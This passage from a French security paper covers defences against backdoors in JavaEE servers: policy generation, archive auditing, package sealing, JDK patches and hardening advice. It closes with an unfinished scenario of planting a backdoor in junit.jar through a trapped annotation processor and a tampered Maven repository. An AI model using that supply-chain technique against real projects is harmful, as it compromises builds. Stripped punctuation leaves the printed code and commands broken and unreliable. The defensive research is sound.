Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
